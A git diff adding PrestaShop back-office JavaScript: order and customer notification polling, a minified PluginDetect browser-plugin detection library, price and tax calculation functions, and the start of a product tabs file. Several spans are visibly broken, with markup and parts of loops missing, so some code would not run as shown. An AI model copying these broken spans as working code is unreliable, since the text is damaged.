    ' + youEditFieldFor + ''); + } + var html = ""; + var nb_notifs = 0; + var wrapper_id = ""; + var type = new Array(); + + $(".notifs").live("click", function(){ + // Add class "open_notifs" to the clicked notification, remove the class from other notificationqs + $('.notifs').removeClass('open_notifs'); + $(this).addClass('open_notifs'); + + wrapper_id = $(this).attr("id"); + type = wrapper_id.split("s_notif") + $.post("ajax.php", + { + "updateElementEmployee" : "1", "updateElementEmployeeType" : type[0] + }, function(data) { + if(data) + { + if(!$("#" + wrapper_id + "_wrapper").is(":visible")) + { + $(".notifs_wrapper").hide(); + $("#" + wrapper_id + "_number_wrapper").hide(); + $("#" + wrapper_id + "_wrapper").show(); + }else + { + $("#" + wrapper_id + "_wrapper").hide(); + } + } + }); + }); + + $("#main").click(function(){ + $(".notifs_wrapper").hide(); + $('.notifs').removeClass('open_notifs'); + }); + + // call it once immediately, then use setTimeout if refresh is activated + getPush(autorefresh_notifications); +}); + +function getPush(refresh) +{ + $.post("ajax.php",{"getNotifications" : "1"}, function(data) { + if (data) + { + var json = jQuery.parseJSON(data); + + // Add orders notifications to the list + html = ""; + nb_notifs = 0; + $.each(json.order, function(property, value) { + html += "
  • " + new_order_msg + "
    " + order_number_msg + "#" + parseInt(value.id_order) + "
    " + total_msg + "" + value.total_paid + "
    " + from_msg + "" + value.customer_name + "
    " + see_order_msg + "
  • "; + }); + if (html != "") + { + $("#list_orders_notif").prev("p").hide(); + $("#list_orders_notif").empty().append(html); + nb_notifs = $("#list_orders_notif li").length; + $("#orders_notif_value").text(nb_notifs); + $("#orders_notif_number_wrapper").show(); + } + else + { + $("#orders_notif_number_wrapper").hide(); + } + + // Add customers notifications to the list + html = ""; + nb_notifs = 0; + $.each(json.customer, function(property, value) { + html += "
  • " + new_customer_msg + "
    " + customer_name_msg + "" + value.customer_name + "
    " + see_customer_msg + "
  • "; + }); + if (html != "") + { + $("#list_customers_notif").prev("p").hide(); + $("#list_customers_notif").empty().append(html); + nb_notifs = $("#list_customers_notif li").length; + $("#customers_notif_value").text(nb_notifs); + $("#customers_notif_number_wrapper").show(); + } + else + { + $("#customers_notif_number_wrapper").hide(); + } + + // Add messages notifications to the list + html = ""; + nb_notifs = 0; + $.each(json.customer_message, function(property, value) { + html += "
  • " + new_msg + "
    " + from_msg + "" + value.customer_name + "
    " + see_msg + "
  • "; + }); + + if (html != "") + { + + $("#list_customer_messages_notif").prev("p").hide(); + $("#list_customer_messages_notif").empty().append(html); + nb_notifs = $("#list_customer_messages_notif li").length; + $("#customer_messages_notif_value").text(nb_notifs); + $("#customer_messages_notif_number_wrapper").show(); + } + else + { + $("#customer_messages_notif_number_wrapper").hide(); + } + } + if(refresh) + setTimeout("getPush(1)",60000); + }); +} \ No newline at end of file diff --git a/js/pluginDetect.js b/js/pluginDetect.js new file mode 100755 index 0000000..168c979 --- /dev/null +++ b/js/pluginDetect.js @@ -0,0 +1 @@ +/* PluginDetect v0.6.3 [ onWindowLoaded getVersion Java(OTF) QT DevalVR Shockwave Flash WMP Silverlight VLC ] by Eric Gerds www.pinlady.net/PluginDetect */ if(!PluginDetect){var PluginDetect={getNum:function(b,c){if(!this.num(b)){return null}var a;if(typeof c=="undefined"){a=/[\d][\d\.\_,-]*/.exec(b)}else{a=(new RegExp(c)).exec(b)}return a?a[0].replace(/[\.\_-]/g,","):null},hasMimeType:function(c){if(PluginDetect.isIE){return null}var b,a,d,e=c.constructor==String?[c]:c;for(d=0;df(b[a],10)){return 1}if(f(c[a],10)"+d.plugin.HTML+"<"+f+"object>";if(d.head.firstChild){d.head.insertBefore(document.createElement("object"),d.head.firstChild)}else{d.head.appendChild(document.createElement("object"))}d.head.firstChild.outerHTML=c;try{d.head.firstChild.classid=d.plugin.classID}catch(g){}a=false;try{if(d.head.firstChild.object){a=true}}catch(g){}try{if(a&&d.head.firstChild.readyState<4){d.garbage=true}}catch(g){}d.head.removeChild(d.head.firstChild);return a},codebaseSearch:function(c){var e=this;if(!e.ActiveXEnabled){return null}if(typeof c!="undefined"){return e.isActiveXObject(c)};var j=[0,0,0,0],g,f,b=e.plugin.digits,i=function(k,m){var l=(k==0?m:j[0])+","+(k==1?m:j[1])+","+(k==2?m:j[2])+","+(k==3?m:j[3]);return e.isActiveXObject(l)};var h,d,a=false;for(g=0;g0&&a){break}if(h-j[g]>1){d=Math.round((h+j[g])/2);if(i(g,d)){j[g]=d;a=true}else{h=d}}else{if(h-j[g]==1){h--;if(!a&&i(g,h)){a=true}break}else{if(!a&&i(g,h)){a=true}break}}}if(!a){return null}}return j.join(",")},dummy1:0}}PluginDetect.onDetectionDone=function(g,e,d,a){return -1};PluginDetect.onWindowLoaded=function(c){var b=PluginDetect,a=window;if(b.EventWinLoad===true){}else{b.winLoaded=false;b.EventWinLoad=true;if(typeof a.addEventListener!="undefined"){a.addEventListener("load",b.runFuncs,false)}else{if(typeof a.attachEvent!="undefined"){a.attachEvent("onload",b.runFuncs)}else{if(typeof a.onload=="function"){b.funcs[b.funcs.length]=a.onload}a.onload=b.runFuncs}}}if(typeof c=="function"){b.funcs[b.funcs.length]=c}};PluginDetect.funcs=[0];PluginDetect.runFuncs=function(){var b=PluginDetect,a;b.winLoaded=true;for(a=0;a',getCodeBaseVersion:function(a){return'codebase="#version='+a+'"'},digits:[8,64,16,0],clipTo3digits:function(f){if(f===null||typeof f=="undefined"){return null}var e,d,h,g=this.$;e=f.split(",");if(g.compareNums(f,"7,60,0,0")<0&&g.compareNums(f,"7,50,0,0")>=0){d=e[0]+","+e[1].charAt(0)+","+e[1].charAt(1)+","+e[2]}else{d=e[0]+","+e[1]+","+e[2]+","+e[3]}h=d.split(",");return h[0]+","+h[1]+","+h[2]+",0"},getVersion:function(){var a=null,d,b=this.$,e=true;if(!b.isIE){if(navigator.platform&&(/linux/i).test(navigator.platform)){e=false}if(e){d=b.findNavPlugin(["QuickTime","(Plug-in|Plugin)"]);if(d&&d.name&&b.hasMimeType(this.mimeType)){a=b.getNum(d.name)}}this.installed=a?1:-1}else{var c;if(b.IEver>=this.minIEver&&b.getAXO(this.progID0,1)){a=b.codebaseSearch()}else{c=b.getAXO(this.progID);if(c&&c.QuickTimeVersion){a=c.QuickTimeVersion.toString(16);a=a.charAt(0)+"."+a.charAt(1)+"."+a.charAt(2)}}this.installed=a?1:(b.getAXO(this.progID0,1)?0:-1)}this.version=this.clipTo3digits(b.formatNum(a))}};PluginDetect.java={mimeType:"application/x-java-applet",classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",DTKclassID:"clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA",DTKmimeType:"application/npruntime-scriptable-plugin;DeploymentToolkit",JavaVersions:[[1,9,2,25],[1,8,2,25],[1,7,2,25],[1,6,2,25],[1,5,2,25],[1,4,2,25],[1,3,1,25]],searchJavaPluginAXO:function(){var h=null,a=this,c=a.$,g=[],j=[1,5,0,14],i=[1,6,0,2],f=[1,3,1,0],e=[1,4,2,0],d=[1,5,0,7],b=false;if(!c.ActiveXEnabled){return null};if(c.IEver>=a.minIEver){g=a.searchJavaAXO(i,i,b);if(g.length>0&&b){g=a.searchJavaAXO(j,j,b)}}else{if(g.length==0){g=a.searchJavaAXO(f,e,false)}}if(g.length>0){h=g[0]}a.JavaPlugin_versions=[].concat(g);return h},searchJavaAXO:function(l,i,m){var n,f,h=this.$,p,k,a,e,g,j,b,q=[];if(h.compareNums(l.join(","),i.join(","))>0){i=l}i=h.formatNum(i.join(","));var o,d="1,4,2,0",c="JavaPlugin."+l[0]+""+l[1]+""+l[2]+""+(l[3]>0?("_"+(l[3]<10?"0":"")+l[3]):"");for(n=0;n=0;a--){b="JavaWebStart.isInstalled."+g+a+".0";if(h.compareNums(f[0]+","+f[1]+","+a+",0",i)>=0&&!h.getAXO(b,1)){continue}o=h.compareNums(f[0]+","+f[1]+","+a+",0",d)<0?true:false;for(e=f[3];e>=0;e--){k=a+"_"+(e<10?"0"+e:e);j=p+k;if(h.getAXO(j,1)&&(o||h.getAXO(b,1))){q[q.length]=g+k;if(!m){return q}}if(j==c){return q}}if(h.getAXO(p+a,1)&&(o||h.getAXO(b,1))){q[q.length]=g+a;if(!m){return q}}if(p+a==c){return q}}}return q},minIEver:7,getFromMimeType:function(a){var h,f,c=this.$,j=new RegExp(a),d,k,i={},e=0,b,g=[""];for(h=0;h0){b=d}}}g[f]=i["a"+b];i["a"+b]=null}if(!(/windows|macintosh/i).test(navigator.userAgent)){g=[g[0]]}return g},queryJavaHandler:function(){var b=PluginDetect.java,a=window.java,c;b.hasRun=true;try{if(typeof a.lang!="undefined"&&typeof a.lang.System!="undefined"){b.value=[a.lang.System.getProperty("java.version")+" ",a.lang.System.getProperty("java.vendor")+" "]}}catch(c){}},queryJava:function(){var c=this,d=c.$,b=navigator.userAgent,f;if(typeof window.java!="undefined"&&navigator.javaEnabled()&&!c.hasRun){if(d.isGecko){if(d.hasMimeType("application/x-java-vm")){try{var g=document.createElement("div"),a=document.createEvent("HTMLEvents");a.initEvent("focus",false,true);g.addEventListener("focus",c.queryJavaHandler,false);g.dispatchEvent(a)}catch(f){}if(!c.hasRun){c.queryJavaHandler()}}}else{if((/opera.9\.(0|1)/i).test(b)&&(/mac/i).test(b)){}else{if(!c.hasRun){c.queryJavaHandler()}}}}return c.value},forceVerifyTag:[],jar:[],VENDORS:["Sun Microsystems Inc.","Apple Computer, Inc."],init:function(){var a=this,b=a.$;if(typeof a.app!="undefined"){a.delJavaApplets(b)}a.hasRun=false;a.value=[null,null];a.useTag=[2,2,2];a.app=[0,0,0,0,0,0];a.appi=3;a.queryDTKresult=null;a.OTF=0;a.BridgeResult=[[null,null],[null,null],[null,null]];a.JavaActive=[0,0,0];a.All_versions=[];a.DeployTK_versions=[];a.MimeType_versions=[];a.JavaPlugin_versions=[];a.funcs=[];var c=a.NOTF;if(c){c.$=b;if(c.javaInterval){clearInterval(c.javaInterval)}c.EventJavaReady=null;c.javaInterval=null;c.count=0;c.intervalLength=250;c.countMax=40}a.lateDetection=b.winLoaded;if(!a.lateDetection){b.onWindowLoaded(a.delJavaApplets)}},getVersion:function(f,l){var h,d=this,g=d.$,j=null,n=null,e=null,c=navigator.javaEnabled();if(d.getVersionDone===null){d.init()}var k;if(typeof l!="undefined"&&l.constructor==Array){for(k=0;k0){j=i;n=d.VENDORS[0]}if(!g.isIE){var q,m,b,o,a;a=g.hasMimeType(d.mimeType);o=(a&&c)?true:false;if(d.MimeType_versions.length==0&&a){h=d.getFromMimeType("application/x-java-applet.*jpi-version.*=");if(h[0]!=""){if(!j){j=h[0]}d.MimeType_versions=h}}if(!j&&a){h="Java[^\\d]*Plug-in";b=g.findNavPlugin(h);if(b){h=new RegExp(h,"i");q=h.test(b.description)?g.getNum(b.description):null;m=h.test(b.name)?g.getNum(b.name):null;if(q&&m){j=(g.compareNums(g.formatNum(q),g.formatNum(m))>=0)?q:m}else{j=q||m}}}if(!j&&a&&(/macintosh.*safari/i).test(navigator.userAgent)){b=g.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa",false);if(b){q=g.getNum(b.description);if(q){j=q}}}if(j){d.version0=j;if(c){e=j}}if(!e||d.useAnyTag()){b=d.queryExternalApplet(f);if(b[0]){e=b[0];n=b[1]}}if(!e){b=d.queryJava();if(b[0]){d.version0=b[0];e=b[0];n=b[1];if(d.installed==-0.5){d.installed=0.5}}}if(d.installed===null&&!e&&o&&!(/macintosh.*ppc/i).test(navigator.userAgent)){h=d.getFromMimeType("application/x-java-applet.*version.*=");if(h[0]!=""){e=h[0]}}if(!e&&o){if(/macintosh.*safari/i.test(navigator.userAgent)){if(d.installed===null){d.installed=0}else{if(d.installed==-0.5){d.installed=0.5}}}}}else{if(!j&&i!=-1){j=d.searchJavaPluginAXO();if(j){n=d.VENDORS[0]}}if(!j){d.JavaFix()}if(j){d.version0=j;if(c&&g.ActiveXEnabled){e=j}}if(!e||d.useAnyTag()){h=d.queryExternalApplet(f);if(h[0]){e=h[0];n=h[1]}}}if(d.installed===null){d.installed=e?1:(j?-0.2:-1)}d.EndGetVersion(e,n)},EndGetVersion:function(b,d){var a=this,c=a.$;if(a.version0){a.version0=c.formatNum(c.getNum(a.version0))}if(b){a.version=c.formatNum(c.getNum(b));a.vendor=(typeof d=="string"?d:"")}if(a.getVersionDone!=1){a.getVersionDone=0}},queryDeploymentToolKit:function(){var d=this,g=d.$,i,b,h=null,a=null;if((g.isGecko&&g.compareNums(g.GeckoRV,g.formatNum("1.6"))<=0)||g.isSafari||(g.isIE&&!g.ActiveXEnabled)){d.queryDTKresult=0}if(d.queryDTKresult!==null){return d.queryDTKresult}if(g.isIE&&g.IEver>=6){d.app[0]=g.instantiate("object",[],[]);h=g.getObject(d.app[0])}else{if(!g.isIE&&g.hasMimeType(d.DTKmimeType)){d.app[0]=g.instantiate("object",["type",d.DTKmimeType],[]);h=g.getObject(d.app[0])}}if(h){if(g.isIE&&g.IEver>=6){try{h.classid=d.DTKclassID}catch(i){}}try{var c,f=h.jvms;if(f){a=f.getLength();if(typeof a=="number"){for(b=0;b0?d.DeployTK_versions[0]:(a==0?-1:0);return d.queryDTKresult},queryExternalApplet:function(d){var c=this,e=c.$,h=c.BridgeResult,b=c.app,g=c.appi,a="    ";if(typeof d!="string"||!(/\.jar\s*$/).test(d)){return[null,null]}if(c.OTF<1){c.OTF=1}if(!e.isIE){if((e.isGecko||e.isChrome)&&!e.hasMimeType(c.mimeType)&&!c.queryJava()[0]){return[null,null]}}if(c.OTF<2){c.OTF=2}if(!b[g]&&c.canUseObjectTag()&&c.canUseThisTag(0)){b[1]=e.instantiate("object",[],[],a);b[g]=e.isIE?e.instantiate("object",["archive",d,"code","A.class","type",c.mimeType],["archive",d,"code","A.class","mayscript","true","scriptable","true"],a):e.instantiate("object",["archive",d,"classid","java:A.class","type",c.mimeType],["archive",d,"mayscript","true","scriptable","true"],a);h[0]=[0,0];c.query1Applet(g)}if(!b[g+1]&&c.canUseAppletTag()&&c.canUseThisTag(1)){b[g+1]=e.instantiate("applet",["archive",d,"code","A.class","alt",a,"mayscript","true"],["mayscript","true"],a);h[1]=[0,0];c.query1Applet(g+1)}if(e.isIE&&!b[g+2]&&c.canUseObjectTag()&&c.canUseThisTag(2)){b[g+2]=e.instantiate("object",["classid",c.classID],["archive",d,"code","A.class","mayscript","true","scriptable","true"],a);h[2]=[0,0];c.query1Applet(g+2)};var j,f=0;for(j=0;j0){c.getVersionDone=0}}return c.getBR()},canUseAppletTag:function(){return((!this.$.isIE||navigator.javaEnabled())?true:false)},canUseObjectTag:function(){return((!this.$.isIE||this.$.ActiveXEnabled)?true:false)},useAnyTag:function(){var b=this,a;for(a=0;a=0;a--){b.uninstantiate(c[a])}},query1Applet:function(g){var f,c=this,d=c.$,a=null,h=null,b=d.getObject(c.app[g],true);try{if(b){a=b.getVersion()+" ";h=b.getVendor()+" ";if(d.num(a)){c.BridgeResult[g-c.appi]=[a,h];d.hideObject(c.app[g])}if(d.isIE&&a&&b.readyState!=4){d.garbage=true;d.uninstantiate(c.app[g])}}}catch(f){}},NOTF:{isJavaActive:function(){}},append:function(e,d){for(var c=0;c2;f--){a=g.getAXO(this.progID+"."+f);if(a){d=f.toString();break}}if(d=="6"){try{a.AllowScriptAccess="always"}catch(h){return"6,0,21,0"}}try{b=c(a.GetVariable("$version"))}catch(h){}if(!b&&d){b=d}}this.installed=b?1:-1;this.version=g.formatNum(b);return true}};PluginDetect.shockwave={mimeType:"application/x-director",progID:"SWCtl.SWCtl",classID:"clsid:166B1BCA-3F9C-11CF-8075-444553540000",getVersion:function(){var a=null,b=null,f,d,c=this.$;if(!c.isIE){d=c.findNavPlugin("Shockwave for Director");if(d&&d.description&&c.hasMimeType(this.mimeType)){a=c.getNum(d.description)}}else{try{b=c.getAXO(this.progID).ShockwaveVersion("")}catch(f){}if(typeof b=="string"&&b.length>0){a=c.getNum(b)}else{if(c.getAXO(this.progID+".8",1)){a="8"}else{if(c.getAXO(this.progID+".7",1)){a="7"}else{if(c.getAXO(this.progID+".1",1)){a="6"}}}}}this.installed=a?1:-1;this.version=c.formatNum(a)}};PluginDetect.div=null;PluginDetect.pluginSize=1;PluginDetect.DOMbody=null;PluginDetect.uninstantiate=function(a){var c,b=this;if(!a){return}try{if(a[0]&&a[0].firstChild){a[0].removeChild(a[0].firstChild)}if(a[0]&&b.div){b.div.removeChild(a[0])}if(b.div&&b.div.childNodes.length==0){b.div.parentNode.removeChild(b.div);b.div=null;if(b.DOMbody&&b.DOMbody.parentNode){b.DOMbody.parentNode.removeChild(b.DOMbody)}b.DOMbody=null}a[0]=null}catch(c){}};PluginDetect.getObject=function(b,a){var f,c=this,d=null;try{if(b&&b[0]&&b[0].firstChild){d=b[0].firstChild}}catch(f){}try{if(a&&d&&typeof d.focus!="undefined"&&typeof document.hasFocus!="undefined"&&!document.hasFocus()){d.focus()}}catch(f){}return d};PluginDetect.getContainer=function(a){var c,b=null;if(a&&a[0]){b=a[0]}return b};PluginDetect.hideObject=function(a){var b=this.getObject(a);if(b&&b.style){b.style.height="0"}};PluginDetect.instantiate=function(h,b,c,a){var j=function(d){var e=d.style;if(!e){return}e.border="0px";e.padding="0px";e.margin="0px";e.fontSize=(g.pluginSize+3)+"px";e.height=(g.pluginSize+3)+"px";e.visibility="visible";if(d.tagName&&d.tagName.toLowerCase()=="div"){e.width="100%";e.display="block"}else{if(d.tagName&&d.tagName.toLowerCase()=="span"){e.width=g.pluginSize+"px";e.display="inline"}}};var k,l=document,g=this,p,i=(l.getElementsByTagName("body")[0]||l.body),o=l.createElement("span"),n,f,m="/";if(typeof a=="undefined"){a=""}p="<"+h+' width="'+g.pluginSize+'" height="'+g.pluginSize+'" ';for(n=0;n'}p+=a+"<"+m+h+">";if(!g.div){g.div=l.createElement("div");f=l.getElementById("plugindetect");if(f){j(f);f.appendChild(g.div)}else{if(i){try{if(i.firstChild&&typeof i.insertBefore!="undefined"){i.insertBefore(g.div,i.firstChild)}else{i.appendChild(g.div)}}catch(k){}}else{try{l.write('
    o<'+m+"div>");i=(l.getElementsByTagName("body")[0]||l.body);i.appendChild(g.div);i.removeChild(l.getElementById("pd33993399"))}catch(k){try{g.DOMbody=l.createElement("body");l.getElementsByTagName("html")[0].appendChild(g.DOMbody);g.DOMbody.appendChild(g.div)}catch(k){}}}}j(g.div)}if(g.div&&g.div.parentNode&&g.div.parentNode.parentNode){g.div.appendChild(o);try{o.innerHTML=p}catch(k){}j(o);return[o]}return[null]};PluginDetect.windowsmediaplayer={mimeType:["application/x-mplayer2","application/asx"],progID:"wmplayer.ocx",classID:"clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6",getVersion:function(){var a=null,e=this.$,b=null;this.installed=-1;if(!e.isIE){if(e.hasMimeType(this.mimeType)){if(e.findNavPlugin(["Windows","Media","(Plug-in|Plugin)"],false)||e.findNavPlugin(["Flip4Mac","Windows","Media"],false)){this.installed=0}var d=e.isGecko&&e.compareNums(e.GeckoRV,e.formatNum("1.8"))<0;if(!d&&e.findNavPlugin(["Windows","Media","Firefox Plugin"],false)){var c=e.instantiate("object",["type",this.mimeType[0]],[]),f=e.getObject(c);if(f){a=f.versionInfo}e.uninstantiate(c)}}}else{b=e.getAXO(this.progID);if(b){a=b.versionInfo}}if(a){this.installed=1}this.version=e.formatNum(a)}};PluginDetect.silverlight={mimeType:"application/x-silverlight",progID:"AgControl.AgControl",digits:[9,20,9,12,31],getVersion:function(){var c=this.$,j=document,g=null,b=null,f=false;if(!c.isIE){var a=[null,null],e=c.findNavPlugin("Silverlight Plug-in",false),h=c.isGecko&&c.compareNums(c.GeckoRV,c.formatNum("1.6"))<=0;if(e&&c.hasMimeType(this.mimeType)){g=c.formatNum(e.description);if(g){p=g.split(",");if(parseInt(p[2],10)>=30226&&parseInt(p[0],10)<2){p[0]="2"}g=p.join(",")}if(c.isGecko&&!h){f=true}if(!f&&!h&&g){a=c.instantiate("object",["type",this.mimeType],[]);b=c.getObject(a);if(b){if(typeof b.IsVersionSupported!="undefined"){f=true}if(!f){b.data="data:"+this.mimeType+",";if(typeof b.IsVersionSupported!="undefined"){f=true}}}c.uninstantiate(a)}}}else{b=c.getAXO(this.progID);var p=[1,0,1,1,1],l,k,o,i=function(d){return(d<10?"0":"")+d.toString()},m=function(q,d,s,t,r){return(q+"."+d+"."+s+i(t)+i(r)+".0")},n=function(d,s){var q,r=m((d==0?s:p[0]),(d==1?s:p[1]),(d==2?s:p[2]),(d==3?s:p[3]),(d==4?s:p[4]));try{return b.IsVersionSupported(r)}catch(q){}return false};if(b&&typeof b.IsVersionSupported!="undefined"){for(l=0;l0)?RegExp.$2.charCodeAt(0):-1;i=/([\d]+)([a-z]?)/.test(h[g]);a=parseInt(RegExp.$1,10);e=(g==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(b!=a){return(b>a?1:-1)}if(g==2&&f!=e){return(f>e?1:-1)}}return 0},getVersion:function(){var b=this.$,d,a=null,c;if(!b.isIE){if(b.hasMimeType(this.mimeType)){d=b.findNavPlugin(["VLC","(Plug-in|Plugin)"],false);if(d&&d.description){a=b.getNum(d.description,"[\\d][\\d\\.]*[a-z]*")}}this.installed=a?1:-1}else{d=b.getAXO(this.progID);if(d){try{a=b.getNum(d.VersionInfo,"[\\d][\\d\\.]*[a-z]*")}catch(c){}}this.installed=d?1:-1}this.version=b.formatNum(a)}};PluginDetect.initScript(); \ No newline at end of file diff --git a/js/price.js b/js/price.js new file mode 100755 index 0000000..b35c98e --- /dev/null +++ b/js/price.js @@ -0,0 +1,235 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function getTax() +{ + if (noTax) + return 0; + var selectedTax = document.getElementById('id_tax_rules_group'); + var taxId = selectedTax.options[selectedTax.selectedIndex].value; + return taxesArray[taxId]; +} + +function getEcotaxTaxIncluded() +{ + return ps_round(ecotax_tax_excl * (1 + ecotaxTaxRate), 2); +} + +function getEcotaxTaxExcluded() +{ + return ecotax_tax_excl; +} + +function formatPrice(price) +{ + var fixedToSix = (Math.round(price * 1000000) / 1000000); + return (Math.round(fixedToSix) == fixedToSix + 0.000001 ? fixedToSix + 0.000001 : fixedToSix); +} + +function calcPrice() +{ + var priceType = $('#priceType').val(); + if (priceType == 'TE') + calcPriceTI(); + else + calcPriceTE(); +} + +function calcPriceTI() +{ + var tax = getTax(); + var priceTE = parseFloat(document.getElementById('priceTEReal').value.replace(/,/g, '.')); + var newPrice = priceTE * ((tax / 100) + 1); + document.getElementById('priceTI').value = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice, 2); + document.getElementById('finalPrice').innerHTML = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice, 2).toFixed(2); + document.getElementById('finalPriceWithoutTax').innerHTML = (isNaN(priceTE) == true || priceTE < 0) ? '' : + (ps_round(priceTE, 2) + getEcotaxTaxExcluded()).toFixed(2); + calcReduction(); + $('#priceTI').val((parseFloat($('#priceTI').val()) + getEcotaxTaxIncluded()).toFixed(2)); + $('#finalPrice').html(parseFloat($('#priceTI').val()).toFixed(2)); +} + +function calcPriceTE() +{ + ecotax_tax_excl = $('#ecotax').val() / (1 + ecotaxTaxRate); + var tax = getTax(); + var priceTI = parseFloat(document.getElementById('priceTI').value.replace(/,/g, '.')); + var newPrice = ps_round(priceTI - getEcotaxTaxIncluded(), 2) / ((tax / 100) + 1); + document.getElementById('priceTE').value = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice.toFixed(6), 6); + document.getElementById('priceTEReal').value = (isNaN(newPrice) == true || newPrice < 0) ? 0 : ps_round(newPrice, 9); + document.getElementById('finalPrice').innerHTML = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(priceTI.toFixed(6), 6); + document.getElementById('finalPriceWithoutTax').innerHTML = (isNaN(newPrice) == true || newPrice < 0) ? '' : + ps_round(newPrice.toFixed(6), 6) + getEcotaxTaxExcluded(); + calcReduction(); +} + +function calcImpactPriceTI() +{ + var tax = getTax(); + var priceTE = parseFloat(document.getElementById('attribute_priceTEReal').value.replace(/,/g, '.')); + var newPrice = priceTE * ((tax / 100) + 1); + $('#attribute_priceTI').val((isNaN(newPrice) == true || newPrice < 0) ? '' : ps_round(newPrice, 2).toFixed(2)); + var total = ps_round((parseFloat($('#attribute_priceTI').val())*parseInt($('#attribute_price_impact').val())+parseFloat($('#finalPrice').html())), 2); + if (isNaN(total) || total < 0) + $('#attribute_new_total_price').html('0.00'); + else + $('#attribute_new_total_price').html(total); +} + +function calcImpactPriceTE() +{ + var tax = getTax(); + var priceTI = parseFloat(document.getElementById('attribute_priceTI').value.replace(/,/g, '.')); + priceTI = (isNaN(priceTI)) ? 0 : ps_round(priceTI); + var newPrice = ps_round(priceTI, 2) / ((tax / 100) + 1); + $('#attribute_price').val((isNaN(newPrice) == true || newPrice < 0) ? '' : ps_round(newPrice, 6).toFixed(6)); + $('#attribute_priceTEReal').val((isNaN(newPrice) == true || newPrice < 0) ? 0 : ps_round(newPrice, 9)); + var total = ps_round((parseFloat($('#attribute_priceTI').val())*parseInt($('#attribute_price_impact').val())+parseFloat($('#finalPrice').html())), 2); + if (isNaN(total) || total < 0) + $('#attribute_new_total_price').html('0.00'); + else + $('#attribute_new_total_price').html(total); +} + +function calcReduction() +{ + if (parseFloat($('#reduction_price').val()) > 0) + reductionPrice(); + else if (parseFloat($('#reduction_percent').val()) > 0) + reductionPercent(); +} + +function reductionPrice() +{ + var tax = getTax(); + var price = document.getElementById('priceTI'); + var priceWhithoutTaxes = document.getElementById('priceTE'); + var newprice = document.getElementById('finalPrice'); + var newpriceWithoutTax = document.getElementById('finalPriceWithoutTax'); + var curPrice = price.value; + + document.getElementById('reduction_percent').value = 0; + if (isInReductionPeriod()) + { + var rprice = document.getElementById('reduction_price'); + if (parseFloat(curPrice) <= parseFloat(rprice.value)) + rprice.value = curPrice; + if (parseFloat(rprice.value) < 0 || isNaN(parseFloat(curPrice))) + rprice.value = 0; + curPrice = curPrice - rprice.value; + } + + newprice.innerHTML = (ps_round(parseFloat(curPrice),2) + getEcotaxTaxIncluded()).toFixed(2); + var rpriceWithoutTaxes = ps_round(rprice.value / ((tax / 100) + 1), 2); + newpriceWithoutTax.innerHTML = ps_round(priceWhithoutTaxes.value - rpriceWithoutTaxes,2).toFixed(2); +} + +function reductionPercent() +{ + var tax = getTax(); + var price = document.getElementById('priceTI'); + var newprice = document.getElementById('finalPrice'); + var newpriceWithoutTax = document.getElementById('finalPriceWithoutTax'); + var curPrice = price.value; + + document.getElementById('reduction_price').value = 0; + if (isInReductionPeriod()) + { + var newprice = document.getElementById('finalPrice'); + var rpercent = document.getElementById('reduction_percent'); + + if (parseFloat(rpercent.value) >= 100) + rpercent.value = 100; + if (parseFloat(rpercent.value) < 0) + rpercent.value = 0; + curPrice = price.value * (1 - (rpercent.value / 100)); + } + + newprice.innerHTML = (ps_round(parseFloat(curPrice),2) + getEcotaxTaxIncluded()).toFixed(2); + newpriceWithoutTax.innerHTML = ps_round(parseFloat(ps_round(curPrice, 2) / ((tax / 100) + 1)),2).toFixed(2); +} + +function isInReductionPeriod() +{ + var start = document.getElementById('reduction_from').value; + var end = document.getElementById('reduction_to').value; + + if (start == end && start != "" && start != "0000-00-00 00:00:00") return true; + + var sdate = new Date(start.replace(/-/g,'/')); + var edate = new Date(end.replace(/-/g,'/')); + var today = new Date(); + + return (sdate <= today && edate >= today); +} + +function decimalTruncate(source, decimals) +{ + if (typeof(decimals) == 'undefined') + decimals = 6; + source = source.toString(); + var pos = source.indexOf('.'); + return parseFloat(source.substr(0, pos + decimals + 1)); +} + +function unitPriceWithTax(type) +{ + var tax = getTax(); + var priceWithTax = parseFloat(document.getElementById(type+'_price').value.replace(/,/g, '.')); + var newPrice = priceWithTax * ((tax / 100) + 1); + $('#'+type+'_price_with_tax').html((isNaN(newPrice) == true || newPrice < 0) ? '0.00' : ps_round(newPrice, 2).toFixed(2)); +} + +function unitySecond() +{ + $('#unity_second').html($('#unity').val()); + if ($('#unity').get(0).value.length > 0) + { + $('#unity_third').html($('#unity').val()); + $('#tr_unit_impact').show(); + } + else + $('#tr_unit_impact').hide(); +} + +function changeCurrencySpecificPrice(index) +{ + var id_currency = $('#spm_currency_' + index).val(); + if (currencies[id_currency]["format"] == 2 || currencies[id_currency]["format"] == 4) + { + $('#spm_currency_sign_pre_' + index).html(''); + $('#spm_currency_sign_post_' + index).html(' ' + currencies[id_currency]["sign"]); + } + else if (currencies[id_currency]["format"] == 1 || currencies[id_currency]["format"] == 3) + { + $('#spm_currency_sign_post_' + index).html(''); + $('#spm_currency_sign_pre_' + index).html(currencies[id_currency]["sign"] + ' '); + } +} + diff --git a/js/productTabsManager.js b/js/productTabsManager.js new file mode 100755 index 0000000..cb3ac4e --- /dev/null +++ b/js/productTabsManager.js @@ -0,0 +1,190 @@ +/* +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It 